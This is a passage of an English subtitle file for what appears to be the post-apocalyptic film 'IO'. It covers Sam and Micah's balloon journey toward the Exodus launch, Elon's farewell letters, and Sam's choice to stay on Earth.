00:48:23.796 --> 00:48:25.956
And I'm not gonna leave you here alone.

441
00:48:30.130 --> 00:48:31.920
Do you understand what I'm saying?

442
00:48:33.213 --> 00:48:34.713
I'm taking you away from here.

443
00:48:36.796 --> 00:48:39.166
You're going to IO
and you're never coming back.

444
00:48:41.588 --> 00:48:42.458
Okay.

445
00:48:49.588 --> 00:48:50.418
Okay.

446
00:48:57.130 --> 00:48:57.960
Good.

447
00:49:04.880 --> 00:49:05.920
When do we leave?

448
00:49:09.838 --> 00:49:10.668
Soon.

449
00:49:13.005 --> 00:49:16.125
We'll have to plot our course
and wait for favorable wind conditions,

450
00:49:16.213 --> 00:49:17.423
but it has to be soon.

451
00:49:18.755 --> 00:49:21.585
We've a long way to travel
and we're running out of days.

452
00:49:38.338 --> 00:49:40.338
[wind whistling]

453
00:49:56.546 --> 00:49:57.796
[keyboard clacking]

454
00:50:18.130 --> 00:50:18.960
[Sam] Elon.

455
00:50:20.088 --> 00:50:20.958
I have good news.

456
00:50:23.005 --> 00:50:26.835
A traveler arrived at the Enclave today
in a helium balloon.

457
00:50:27.963 --> 00:50:29.263
I thought I was dreaming.

458
00:50:30.713 --> 00:50:31.923
His name is Micah.

459
00:50:33.421 --> 00:50:39.051
I'm not even sure where he's from
or how he's survived this long on Earth.

460
00:50:41.671 --> 00:50:43.801
He's offered to take me to Exodus.

461
00:50:46.213 --> 00:50:47.263
And I've agreed.

462
00:50:49.880 --> 00:50:51.590
My life on Earth is over.

463
00:50:53.505 --> 00:50:55.295
It's been over for a long time.

464
00:50:57.380 --> 00:51:01.090
We'll finally be together on IO,
just like you've always wanted.

465
00:51:03.671 --> 00:51:05.631
Are there oceans on Centauri B?

466
00:51:10.088 --> 00:51:11.378
Write back soon, okay?

467
00:51:12.380 --> 00:51:13.960
I really need to hear from you.

468
00:51:55.588 --> 00:51:59.758
We're gonna have to wait for the wind
to change direction before we can leave.

469
00:51:59.838 --> 00:52:00.668
It will.

470
00:52:05.421 --> 00:52:08.091
What were you gonna do
if I hadn't shown up here, Sam?

471
00:52:09.380 --> 00:52:11.010
You know, people aren't meant to be alone.

472
00:52:13.713 --> 00:52:15.133
You think I don't know that?

473
00:52:27.630 --> 00:52:29.300
I'll go and get the rest of them.

474
00:52:50.671 --> 00:52:51.591
Fuck.

475
00:52:56.921 --> 00:52:58.261
Oh, fuck.

476
00:53:03.171 --> 00:53:04.551
You're never gonna believe this.

477
00:53:06.963 --> 00:53:08.093
Come on.

478
00:53:14.338 --> 00:53:15.298
That's how I found them.

479
00:53:16.088 --> 00:53:18.008
I think it's trapped under that grate.

480
00:53:19.921 --> 00:53:20.801
She.

481
00:53:22.505 --> 00:53:23.335
What?

482
00:53:23.421 --> 00:53:24.461
She's trapped.

483
00:53:26.671 --> 00:53:29.171
The holes are big enough
to let the workers and drones through,

484
00:53:29.255 --> 00:53:31.005
but they're too small for her.

485
00:53:34.005 --> 00:53:37.125
She must have just hatched,
which means she's a virgin queen.

486
00:53:45.171 --> 00:53:46.591
How is that possible?

487
00:53:50.338 --> 00:53:51.258
I don't know.

488
00:53:55.171 --> 00:53:56.301
So what does it mean?

489
00:54:05.213 --> 00:54:06.343
It doesn't mean anything.

490
00:54:45.463 --> 00:54:46.673
[computer chimes]

491
00:54:49.921 --> 00:54:50.761
[Elon] Sam...

492
00:54:51.838 --> 00:54:54.958
thank God you made the decision
to travel to the Exodus launch.

493
00:54:56.046 --> 00:54:58.416
I'm sorry I haven't been able
to write sooner,

494
00:54:58.505 --> 00:55:00.455
but there's been a change here as well.

495
00:55:03.213 --> 00:55:05.383
Yesterday my commanding officer
asked me to join

496
00:55:05.463 --> 00:55:08.173
the first New World Expedition shuttle.

497
00:55:09.963 --> 00:55:11.383
This morning I accepted.

498
00:55:12.338 --> 00:55:15.418
I hope you of all people
will understand that I had no choice.

499
00:55:18.963 --> 00:55:20.213
This is my destiny,

500
00:55:21.296 --> 00:55:22.206
my purpose.

501
00:55:24.421 --> 00:55:25.671
We can still be together,

502
00:55:27.130 --> 00:55:29.170
but it won't be for many, many years.

503
00:55:29.255 --> 00:55:30.255
[cries]

504
00:55:32.171 --> 00:55:33.921
Please write back before you leave.

505
00:55:34.921 --> 00:55:37.711
All transmission links with Earth
will be cut after the final Exodus launch

506
00:55:37.796 --> 00:55:41.256
and I am desperate to receive
one last letter from you before I leave.

507
00:55:46.546 --> 00:55:47.626
All my love,

508
00:55:48.380 --> 00:55:51.300
from IO until the end of the universe,

509
00:55:52.838 --> 00:55:53.668
Elon.

510
00:56:30.380 --> 00:56:32.210
[Micah] You ever have squash spaghetti?

511
00:56:48.921 --> 00:56:50.011
What was it like?

512
00:56:52.505 --> 00:56:53.375
Before.

513
00:56:57.338 --> 00:56:59.668
I'm sure your father told you
what it was like.

514
00:57:02.255 --> 00:57:04.375
I want to know what it was like for you.

515
00:57:08.171 --> 00:57:09.131
Where are you from?

516
00:57:10.880 --> 00:57:12.590
I grew up in the suburbs.

517
00:57:14.380 --> 00:57:15.380
In a neighborhood.

518
00:57:18.921 --> 00:57:24.131
By the time I was old enough,
I was in the city every chance I got.

519
00:57:30.380 --> 00:57:31.760
We weren't ready for this.

520
00:57:34.588 --> 00:57:37.588
No matter what warning we got
from people like your father.

521
00:57:39.338 --> 00:57:41.008
What we saw with our own eyes.

522
00:57:44.838 --> 00:57:46.798
The future we got was unthinkable.

523
00:57:53.796 --> 00:57:54.706
For everybody.

524
00:58:00.755 --> 00:58:02.915
Unexpected things can be good too.

525
00:58:31.755 --> 00:58:33.295
[water running]

526
00:58:49.713 --> 00:58:51.013
[sighs]

527
00:59:16.255 --> 00:59:17.205
[glass shatters]

528
00:59:19.713 --> 00:59:21.713
[wind whistling]

529
00:59:30.130 --> 00:59:30.960
[door opens]

530
00:59:31.380 --> 00:59:32.210
Damn it!

531
00:59:34.505 --> 00:59:37.915
We'll never be able to get off the ground
if the wind doesn't change.

532
00:59:59.838 --> 01:00:00.758
Trust me.

533
01:00:05.421 --> 01:00:06.511
It'll change.

534
01:00:45.921 --> 01:00:47.921
[classical music playing]

535
01:01:11.088 --> 01:01:12.168
That song.

536
01:01:17.880 --> 01:01:19.380
I remember that song.

537
01:02:11.088 --> 01:02:12.088
I'm sorry.

538
01:02:20.005 --> 01:02:20.955
It's okay.

539
01:02:53.171 --> 01:02:54.131
I can't.

540
01:03:03.838 --> 01:03:04.798
We have to.

541
01:03:31.338 --> 01:03:34.338
[Sam] Do you see the glimmer?
To the left of Jupiter?

542
01:03:37.171 --> 01:03:38.461
[Micah] Is that the Colony?

543
01:03:40.546 --> 01:03:41.506
[Sam] It's the Colony.

544
01:03:44.838 --> 01:03:46.168
It's actually orbiting IO,

545
01:03:46.255 --> 01:03:50.295
but the Colony's so much brighter
in the sky that IO becomes obscured.

546
01:03:55.380 --> 01:03:56.760
I never thought I'd see it.

547
01:04:06.755 --> 01:04:07.665
There's this...

548
01:04:09.921 --> 01:04:12.761
art exhibit I really wanted to see.

549
01:04:15.130 --> 01:04:16.050
An art exhibit?

550
01:04:19.588 --> 01:04:20.758
The Museum of Art.

551
01:04:23.880 --> 01:04:26.010
It's one of the last exhibits from before.

552
01:04:28.546 --> 01:04:29.626
"Modern Myths."

553
01:04:32.796 --> 01:04:35.166
Would you have taught
your students about myths?

554
01:04:37.505 --> 01:04:38.335
Yeah.

555
01:04:40.046 --> 01:04:41.256
I think I would have.

556
01:04:46.796 --> 01:04:48.796
[keyboard clacking]

557
01:04:48.880 --> 01:04:51.210
[Sam] 4.36 light years away.

558
01:04:54.588 --> 01:04:56.338
Is that the same as saying forever?

559
01:05:00.046 --> 01:05:05.876
The space between us will become more vast
until it's too far to cross.

560
01:05:09.505 --> 01:05:11.045
I've lied to you, Elon.

561
01:05:13.880 --> 01:05:15.050
My father's dead.

562
01:05:16.963 --> 01:05:19.013
He's been dead for a long time now.

563
01:05:20.755 --> 01:05:23.045
It was my decision, all along,

564
01:05:24.130 --> 01:05:25.300
to stay on Earth.

565
01:05:29.255 --> 01:05:32.005
I think we're both looking
for worlds to call our own...

566
01:05:34.713 --> 01:05:35.923
but different ones.

567
01:05:39.630 --> 01:05:41.050
I hope you find yours.

568
01:06:34.963 --> 01:06:36.923
[electronic whirring]

569
01:06:37.005 --> 01:06:39.045
[robotic female voice]
Attention. Urgent notice.

570
01:06:39.130 --> 01:06:40.880
Due to catastrophic weather event,

571
01:06:40.963 --> 01:06:45.673
Exodus shuttle number 127
is unable to launch.

572
01:06:45.755 --> 01:06:50.045
Your departure
has been changed to Exodus 134

573
01:06:50.130 --> 01:06:54.840
at 49.5466 degrees

574
01:06:54.921 --> 01:06:59.801
by 16.4059 degrees.

575
01:06:59.880 --> 01:07:06.170
Exodus shuttles will begin embarkation
in 26 hours and 12 minutes.

576
01:07:11.338 --> 01:07:13.048
[Micah] They moved the launch site.

577
01:07:13.130 --> 01:07:15.760
What are you talking about?
Is that a problem?

578
01:07:15.838 --> 01:07:18.298
We don't have enough helium
to fly that far!

579
01:07:18.713 --> 01:07:20.053
We're stuck here!

580
01:07:24.671 --> 01:07:25.671
It's never gonna end.

581
01:07:27.713 --> 01:07:29.013
I must be cursed.

582
01:07:30.796 --> 01:07:31.836
What do you mean?

583
01:07:33.171 --> 01:07:35.091
You wanna know why I really came here?

584
01:07:37.671 --> 01:07:38.671
Huh?

585
01:07:39.421 --> 01:07:41.711
Your father told us to stay on Earth.

586
01:07:43.463 --> 01:07:46.633
I saw dozens of people starve to death
because of him.

587
01:07:48.171 --> 01:07:49.671
Because he gave us hope.

588
01:07:56.630 --> 01:07:57.920
My wife was sick.

589
01:08:01.171 --> 01:08:04.671
Food would have kept her alive
for a few more days, but...

590
01:08:05.963 --> 01:08:06.883
that was all.

591
01:08:08.713 --> 01:08:10.463
Then the food would have been gone.

592
01:08:18.838 --> 01:08:21.378
I hid rations so I could survive.

593
01:08:26.088 --> 01:08:27.878
I watched my wife die...

594
01:08:31.463 --> 01:08:33.053
so I could be the survivor.

595
01:08:35.921 --> 01:08:37.421
I couldn't live with that.

596
01:08:41.255 --> 01:08:42.875
So I came here to find him.

597
01:08:48.463 --> 01:08:50.593
And all I found was you instead.

598
01:09:00.588 --> 01:09:05.298
I won't make the same mistake twice
and let you die too.

599
01:09:19.505 --> 01:09:20.505
Thank you.

600
01:09:26.463 --> 01:09:27.923
Thank you for telling me, Micah.

601
01:09:40.630 --> 01:09:42.260
I know where we can get helium.

602
01:09:46.213 --> 01:09:47.173
It's in the zone.

603
01:09:49.838 --> 01:09:50.878
It's really far.

604
01:09:52.838 --> 01:09:54.508
It's farther than I've ever gone.

605
01:09:57.380 --> 01:10:00.050
We'd have to stay longer
than I've ever stayed before.

606
01:10:04.338 --> 01:10:06.298
We'd need to stay the night there.

607
01:10:06.380 --> 01:10:08.050
It's not possible, Sam.

608
01:10:09.213 --> 01:10:10.213
It's possible.

609
01:10:12.796 --> 01:10:13.706
I think.

610
01:10:15.921 --> 01:10:17.011
Adapt or die.

611
01:10:18.171 --> 01:10:19.421
Isn't that what they say?

612
01:10:49.630 --> 01:10:51.050
This is Sam Walden.

613
01:10:52.880 --> 01:10:57.090
Transmitting on a frequency
90.43 kilohertz daily.

614
01:10:59.671 --> 01:11:02.671
If anyone's still listening
to these broadcasts...

615
01:11:03.796 --> 01:11:05.256
...Doctor Harry Walden,

616
01:11:05.671 --> 01:11:09.801
my father, mentor, and best friend,

617
01:11:09.880 --> 01:11:10.880
has died.

618
01:11:12.338 --> 01:11:16.628
On October 13th of last year,
I buried him next to my mother.

619
01:11:29.921 --> 01:11:31.011
[Micah] What about here?

620
01:11:31.755 --> 01:11:33.455
You ever been to this part before?

621
01:11:37.380 --> 01:11:38.300
Yeah.

622
01:11:39.588 --> 01:11:41.588
Should work. It's just a big open field.

623
01:11:41.671 --> 01:11:44.841
We'll drop the balloon there.
Then we'll go get the helium.

624
01:11:50.046 --> 01:11:51.256
Museum of Art.

625
01:11:53.755 --> 01:11:54.755
[Micah sighs]

626
01:11:56.921 --> 01:11:57.881
What?

627
01:11:57.963 --> 01:11:58.843
Nothing.

628
01:11:58.921 --> 01:11:59.801
What?

629
01:12:01.213 --> 01:12:02.763
I just need you to focus.

630
01:12:03.796 --> 01:12:05.546
We mess up and we die.

631
01:12:07.088 --> 01:12:08.258
I am focused.

632
01:12:11.046 --> 01:12:13.546
[Sam] This afternoon,
I'll be leaving our enclave

633
01:12:13.630 --> 01:12:15.800
to travel to the Exodus launch site.

634
01:12:17.588 --> 01:12:21.668
If anyone's receiving this broadcast,
I implore you to do the same.

635
01:12:23.713 --> 01:12:27.303
We thought we could find a way
for humans to survive on Earth.

636
01:12:29.713 --> 01:12:30.713
We were wrong.

637
01:12:31.713 --> 01:12:34.423
This is Sam Walden, over and out.

638
01:13:39.755 --> 01:13:40.875
[Micah] Why are we stopped?

639
01:13:41.546 --> 01:13:43.006
[Sam] It's incredible, right?

640
01:13:46.213 --> 01:13:47.713
[Micah] It's a graveyard, Sam.

641
01:13:48.296 --> 01:13:49.796
All I see are ghosts.

642
01:13:59.171 --> 01:14:00.921
We're near the launch spot.

643
01:14:01.671 --> 01:14:05.261
Let's drop the balloon and get moving.
We've got a lot of ground to cover.

644
01:14:46.380 --> 01:14:47.670
[doors creak]

645
01:15:09.046 --> 01:15:10.256
[Micah] Sam!

646
01:15:10.796 --> 01:15:12.666
-What?
-There's a lot of helium in here.

647
01:15:13.296 --> 01:15:14.206
[Sam] I know.

648
01:15:17.296 --> 01:15:20.256
[Micah] But that's a good thing, right?
It's why we came.

649
01:15:20.755 --> 01:15:22.125
-Right?
-Yeah.

650
01:15:22.213 --> 01:15:23.463
[Micah] So, come on.

651
01:15:24.088 --> 01:15:25.088
Give me a hand.

652
01:15:28.296 --> 01:15:31.876
All right. We get a few more,
and then we camp here for the night.

653
01:15:32.630 --> 01:15:34.710
It's getting too dark to travel.

654
01:15:42.005 --> 01:15:44.505
[Sam] So you know
how life started on this planet?

655
01:15:45.838 --> 01:15:47.208
[Micah] Was it a bacteria?

656
01:15:47.880 --> 01:15:48.960
[Sam] Yeah.

657
01:15:49.046 --> 01:15:52.046
They came out of the ocean,
and here we are...

658
01:15:52.588 --> 01:15:54.418
at the very end of this cycle.

659
01:15:55.380 --> 01:15:58.800
[Micah] Do you realize that you might be
the last woman to live on Earth?

660
01:15:58.880 --> 01:16:01.010
[Sam] I'm sure
there are other people alive.

661
01:16:01.630 --> 01:16:03.260
[Micah] Yeah, on the Colony,

662
01:16:03.796 --> 01:16:05.506
working hard to find our new home,

663
01:16:06.546 --> 01:16:09.296
where you won't need a gas mask
to take me to a restaurant.

664
01:16:09.380 --> 01:16:10.800
[Sam chuckles]

665
01:16:16.296 --> 01:16:18.256
[Micah] Now, how does this work?

666
01:16:19.213 --> 01:16:21.213
[Sam] Once we switch to fresh tanks,

667
01:16:21.296 --> 01:16:23.506
we turn the air valve down 50%.

668
01:16:24.546 --> 01:16:25.706
We try to relax.

669
01:16:27.130 --> 01:16:28.130
We should be okay.

670
01:16:28.921 --> 01:16:30.421
[Micah] You set your alarm?

671
01:16:30.505 --> 01:16:31.335
[Sam] Yes.

672
01:16:32.671 --> 01:16:34.171
[Micah] Let's do this.

673
01:16:36.880 --> 01:16:38.090
[Micah sighs]

674
01:16:47.838 --> 01:16:48.958
[air hissing]

675
01:16:50.588 --> 01:16:52.298
-[Sam] Is that okay?
-[Micah] Yeah.

676
01:17:39.171 --> 01:17:40.671
[gas hissing]

677
01:17:48.088 --> 01:17:49.338
[Sam] I'll be right back.

678
01:17:51.046 --> 01:17:51.876
[Micah] Sam.

679
01:17:55.380 --> 01:17:56.260
Sam.

680
01:17:59.505 --> 01:18:00.795
We leave in one hour.

681
01:18:02.421 --> 01:18:03.591
[Sam] Yeah.

682
01:18:03.671 --> 01:18:04.711
I know.

683
01:18:04.796 --> 01:18:05.626
[engine starts]

684
01:19:06.671 --> 01:19:08.261
[door opens]

685
01:19:18.338 --> 01:19:20.508
[breathing]

686
01:20:22.755 --> 01:20:24.125
[gas hissing]

687
01:20:28.880 --> 01:20:30.050
[alarm beeping]

688
01:20:40.338 --> 01:20:42.128
[breathing]

689
01:21:43.796 --> 01:21:45.256
[Micah] We have to go, Sam.

690
01:21:49.046 --> 01:21:51.876
[Sam]
"A shudder in the loins engenders there.

691
01:21:53.338 --> 01:21:54.798
The broken wall,

692
01:21:55.755 --> 01:21:57.545
the burning roof and tower.

693
01:22:00.005 --> 01:22:01.755
And Agamemnon dead.

694
01:22:03.796 --> 01:22:06.666
So mastered by the brute blood of the air.

695
01:22:08.463 --> 01:22:11.963
Did she put on his knowledge
with his power

696
01:22:13.546 --> 01:22:16.296
before the indifferent beak
could let her drop?"

697
01:22:21.463 --> 01:22:22.383
[Micah] Sam.

698
01:22:24.630 --> 01:22:26.050
[Sam] Tell me what it means.

699
01:22:31.130 --> 01:22:33.010
[Micah] Leda gave birth to Helen.

700
01:22:35.171 --> 01:22:36.261
Helen of Troy.

701
01:22:39.421 --> 01:22:41.921
A face that launched a thousand ships.

702
01:22:46.671 --> 01:22:49.511
She was considered
the most beautiful woman in the world.

703
01:22:53.005 --> 01:22:54.835
Her abduction by Paris,

704
01:22:55.713 --> 01:22:56.843
the Prince of Troy...

705
01:22:58.838 --> 01:23:00.458
brought upon the Trojan War.

706
01:23:02.963 --> 01:23:04.213
The broken wall,

707
01:23:05.338 --> 01:23:07.048
the burning roof and tower,

708
01:23:07.880 --> 01:23:09.420
and Agamemnon dead.

709
01:23:13.796 --> 01:23:16.126
Leda was related to the gods.

710
01:23:19.921 --> 01:23:21.381
And the swan is Zeus.

711
01:23:25.463 --> 01:23:26.383
Zeus in disguise.

712
01:23:28.963 --> 01:23:31.133
Leda gave birth to God's children.

713
01:23:50.630 --> 01:23:52.260
You did everything you could.

714
01:23:57.046 --> 01:23:58.756
Your father would be proud of you.

715
01:24:08.130 --> 01:24:08.960
Let's go.

716
01:24:11.005 --> 01:24:11.875
Okay?

717
01:24:23.880 --> 01:24:25.340
[Sam] I'm not going with you.

718
01:24:32.005 --> 01:24:33.835
You're gonna have to go on your own.

719
01:24:38.338 --> 01:24:39.548
[alarm beeping]

720
01:25:01.921 --> 01:25:03.211
[Micah] Change your tank.

721
01:25:07.838 --> 01:25:10.128
We can talk about it at the launch site.

722
01:25:29.546 --> 01:25:31.336
[Sam] I keep having this dream...

723
01:25:32.880 --> 01:25:34.130
where I'm in the zone...

724
01:25:35.713 --> 01:25:36.713
and...

725
01:25:36.796 --> 01:25:38.666
I'm not wearing a mask.

726
01:25:47.671 --> 01:25:49.801
I strike my lighter and...

727
01:25:50.880 --> 01:25:52.300
it's dark purple.

728
01:25:59.755 --> 01:26:00.705
But I'm fine.

729
01:26:04.213 --> 01:26:06.303
Everyone sees so much death here...

730
01:26:10.130 --> 01:26:11.460
but I see life.

731
01:26:20.671 --> 01:26:23.961
Why are you doing this, Sam?
Change your tank.

732
01:26:28.713 --> 01:26:29.803
Promise me something.

733
01:26:32.046 --> 01:26:34.796
If I survive, tell everyone on IO
that there's a future on Earth.

734
01:26:34.880 --> 01:26:36.590
[Micah] Sam! Sam!

735
01:26:37.463 --> 01:26:38.383
Sam!

736
01:26:41.005 --> 01:26:41.875
[Sam] I'm okay.

737
01:26:45.130 --> 01:26:45.960
It's okay.

738
01:26:47.963 --> 01:26:48.803
It's okay.

739
01:26:55.671 --> 01:26:57.211
[heavy breathing]

740
01:27:08.630 --> 01:27:10.630
[wind whistling]

741
01:27:41.463 --> 01:27:42.513
[Sam] Dear Micah,

742
01:27:44.838 --> 01:27:47.088
my father loved the T.S Eliot quote,

743
01:27:48.505 --> 01:27:50.835
"We shall not cease from exploration,

744
01:27:51.713 --> 01:27:54.133
and the end of all of our exploring

745
01:27:54.838 --> 01:27:56.958
will be to arrive where we started

746
01:27:57.463 --> 01:27:59.423
and know the place for the first time."

747
01:28:03.088 --> 01:28:04.918
We have learned to fear our planet

748
01:28:05.796 --> 01:28:08.256
and fled to the stars
in search of a new one.

749
01:28:11.505 --> 01:28:13.705
But the fascination for other worlds

750
01:28:13.796 --> 01:28:17.416
could not turn my eyes away
from the beauty of our home.

751
01:28:23.338 --> 01:28:25.258
The waves are crashing on the shore...

752
01:28:29.255 --> 01:28:31.125
and the wind is blowing in my hair.

753
01:28:35.671 --> 01:28:37.131
Tell them it feels good.

754
01:28:40.296 --> 01:28:43.506
Tell them the dark clouds have given way
to the ocean mist.

755
01:28:47.838 --> 01:28:49.838
Tell them a new world awaits us.

756
01:28:55.005 --> 01:28:56.625
Tell them we're waiting for you.

757
01:29:00.671 --> 01:29:02.341
Waiting for you to come back.

758
01:29:19.796 --> 01:29:21.956
[wind blowing]

759
01:29:40.088 --> 01:29:42.168
[waves ebbing and flowing]


ZeroDay Forums Mini